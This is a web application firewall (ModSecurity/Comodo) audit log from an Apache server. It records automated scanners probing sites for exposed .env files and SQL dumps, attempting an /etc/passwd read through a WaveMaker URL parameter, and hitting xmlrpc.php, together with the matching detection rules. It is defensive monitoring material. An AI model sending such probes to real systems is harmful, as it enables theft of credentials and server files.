03:27:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --17ec9120-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/staging2/.env"] [unique_id "aE-A--Mjvy_LHXlMeRAaFQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040827884687 697268 (- - -) Stopwatch2: 1750040827884687 697268; combined=2631, p1=525, p2=2003, p3=0, p4=0, p5=103, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --17ec9120-Z-- --12f85706-A-- [16/Jun/2025:07:57:09.627181 +0530] aE-A_AD0DwMUVKUIct3cuAAAAAI 185.177.72.210 60084 127.0.0.1 7081 --12f85706-B-- GET /:5601/protected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --12f85706-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d6bb112a0063f3c0d67a2c92504f377b1750040829; expires=Mon, 16 Jun 2025 03:27:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --12f85706-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/protected/.env"] [unique_id "aE-A_AD0DwMUVKUIct3cuAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040828931830 695416 (- - -) Stopwatch2: 1750040828931830 695416; combined=2096, p1=402, p2=1555, p3=0, p4=0, p5=138, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --12f85706-Z-- --18e4c20e-A-- [16/Jun/2025:07:57:19.807634 +0530] aE-BB0N_xpBAtP8SIP0-MQAAAAo 185.177.72.210 51728 127.0.0.1 7081 --18e4c20e-B-- GET /:5601/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --18e4c20e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5a7696957b5fff27c83dcd38f5682e491750040839; expires=Mon, 16 Jun 2025 03:27:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --18e4c20e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.local"] [unique_id "aE-BB0N_xpBAtP8SIP0-MQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040839168308 639415 (- - -) Stopwatch2: 1750040839168308 639415; combined=2131, p1=489, p2=1563, p3=0, p4=0, p5=79, sr=123, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --18e4c20e-Z-- --6467cf6d-A-- [16/Jun/2025:07:57:24.104462 +0530] aE-BC-OzMRjUd1ppiI2u2QAAAAQ 185.177.72.210 42892 127.0.0.1 7081 --6467cf6d-B-- GET /:8443/front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6467cf6d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c95aefccd0c55534de25647ec0b6d88d1750040843; expires=Mon, 16 Jun 2025 03:27:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6467cf6d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/front/.env"] [unique_id "aE-BC-OzMRjUd1ppiI2u2QAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040843424163 680377 (- - -) Stopwatch2: 1750040843424163 680377; combined=1970, p1=437, p2=1421, p3=0, p4=0, p5=111, sr=158, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6467cf6d-Z-- --aa988e37-A-- [16/Jun/2025:07:57:28.256180 +0530] aE-BD2CnKbldJKSM7awfsAAAAAc 185.177.72.210 43008 127.0.0.1 7081 --aa988e37-B-- GET /post-deployment/.vscode/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aa988e37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5358e5474e774a1493540e6c81794f751750040848; expires=Mon, 16 Jun 2025 03:27:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aa988e37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/post-deployment/.vscode/.env"] [unique_id "aE-BD2CnKbldJKSM7awfsAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040847566642 689600 (- - -) Stopwatch2: 1750040847566642 689600; combined=1832, p1=384, p2=1345, p3=0, p4=0, p5=102, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aa988e37-Z-- --698d1b58-A-- [16/Jun/2025:07:57:36.484763 +0530] aE-BF4kQyF8-ounHsxsNpwAAAA8 128.199.112.101 56552 127.0.0.1 7081 --698d1b58-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --698d1b58-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --698d1b58-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-BF4kQyF8-ounHsxsNpwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040855526534 958296 (- - -) Stopwatch2: 1750040855526534 958296; combined=2128, p1=369, p2=1334, p3=41, p4=85, p5=185, sr=105, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --698d1b58-Z-- --fd6eae08-A-- [16/Jun/2025:07:57:47.691140 +0530] aE-BI-Mjvy_LHXlMeRAaMAAAAAU 185.177.72.210 50538 127.0.0.1 7081 --fd6eae08-B-- GET /archive.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fd6eae08-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=87926034f5c6e3128811109700d960801750040867; expires=Mon, 16 Jun 2025 03:27:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fd6eae08-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/archive.sql"] [unique_id "aE-BI-Mjvy_LHXlMeRAaMAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040867042406 648798 (- - -) Stopwatch2: 1750040867042406 648798; combined=1933, p1=337, p2=1496, p3=0, p4=0, p5=99, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fd6eae08-Z-- --913e6173-A-- [16/Jun/2025:07:57:54.598943 +0530] aE-BKYkQyF8-ounHsxsNrwAAAA8 185.177.72.210 40474 127.0.0.1 7081 --913e6173-B-- GET /:8000/staging2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --913e6173-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2af19a30b347579b92f257779ec1f96b1750040874; expires=Mon, 16 Jun 2025 03:27:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --913e6173-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/staging2/.env"] [unique_id "aE-BKYkQyF8-ounHsxsNrwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040873936597 662407 (- - -) Stopwatch2: 1750040873936597 662407; combined=1855, p1=367, p2=1381, p3=0, p4=0, p5=107, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --913e6173-Z-- --8f48251a-A-- [16/Jun/2025:07:57:57.583017 +0530] aE-BLGCnKbldJKSM7awfvQAAAAc 185.177.72.210 40570 127.0.0.1 7081 --8f48251a-B-- GET /wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8f48251a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2dae06c3be2c37e1bb21baa3eaeb13531750040877; expires=Mon, 16 Jun 2025 03:27:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8f48251a-H-- Message: Warning. Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Matched phrase "etc/passwd" at ARGS:inUrl. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: etc/passwd found within ARGS:inUrl: file/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/wavemaker/studioService.download"] [unique_id "aE-BLGCnKbldJKSM7awfvQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:inUrl. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.mindscan.edu.in|F|2"] [data "Matched Data: etc/passwd found within ARGS:inUrl: file/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.mindscan.edu.in"] [uri "/wavemaker/studioService.download"] [unique_id "aE-BLGCnKbldJKSM7awfvQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.mindscan.edu.in"] [uri "/index.php"] [unique_id "aE-BLGCnKbldJKSM7awfvQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040876925715 657356 (- - -) Stopwatch2: 1750040876925715 657356; combined=2508, p1=318, p2=1980, p3=0, p4=0, p5=210, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8f48251a-Z-- --9c970517-A-- [16/Jun/2025:07:57:59.851082 +0530] aE-BL1LyTgTLRBnIBDZi9wAAAAM 185.177.72.210 40642 127.0.0.1 7081 --9c970517-B-- GET /:8443/protected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9c970517-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e17ca2e757905ecd512a2f10045481031750040879; expires=Mon, 16 Jun 2025 03:27:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9c970517-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/protected/.env"] [unique_id "aE-BL1LyTgTLRBnIBDZi9wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040879197759 653386 (- - -) Stopwatch2: 1750040879197759 653386; combined=2177, p1=504, p2=1570, p3=0, p4=0, p5=102, sr=124, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9c970517-Z-- --30238133-A-- [16/Jun/2025:07:58:11.083110 +0530] aE-BOmCnKbldJKSM7awfyAAAAAc 185.177.72.210 37218 127.0.0.1 7081 --30238133-B-- GET /WebSphereSamples.Configuration.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --30238133-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=960bd600c42a48dc1b075b401eaa4c991750040890; expires=Mon, 16 Jun 2025 03:28:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --30238133-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".configuration.config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".configuration.config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/WebSphereSamples.Configuration.config"] [unique_id "aE-BOmCnKbldJKSM7awfyAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040890411917 671288 (- - -) Stopwatch2: 1750040890411917 671288; combined=2110, p1=385, p2=1589, p3=0, p4=0, p5=136, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --30238133-Z-- --30595e10-A-- [16/Jun/2025:07:58:19.548619 +0530] aE-BQgS4XDlCv3KXioQM1QAAAAY 185.177.72.210 37530 127.0.0.1 7081 --30595e10-B-- GET /:5601/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --30595e10-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9f5d7b1fded5953a9a702ae9c79016141750040899; expires=Mon, 16 Jun 2025 03:28:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --30595e10-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/app/.env"] [unique_id "aE-BQgS4XDlCv3KXioQM1QAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750040898879099 669583 (- - -) Stopwatch2: 1750040898879099 669583; combined=1773, p1=424, p2=1261, p3=0, p4=0, p5=88, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --30595e10-Z-- --270d531a-A-- [16/Jun/2025:07:58:20.715515 +0530] aE-BQ1LyTgTLRBnIBDZjBQAAAAM 185.177.72.210 43900 127.0.0.1 7081 --270d531a-B-- GET /monitoring/compose/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --270d531a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6d57bd20f5a832b8dfba0e5db24fac851750040900; expires=Mon, 16 Jun 2025 03:28:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --270d531a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/monitoring/compose/.env"] [unique_id "aE-BQ1LyTgTLRBnIBDZjBQAAAAM"] Apache-Handler: 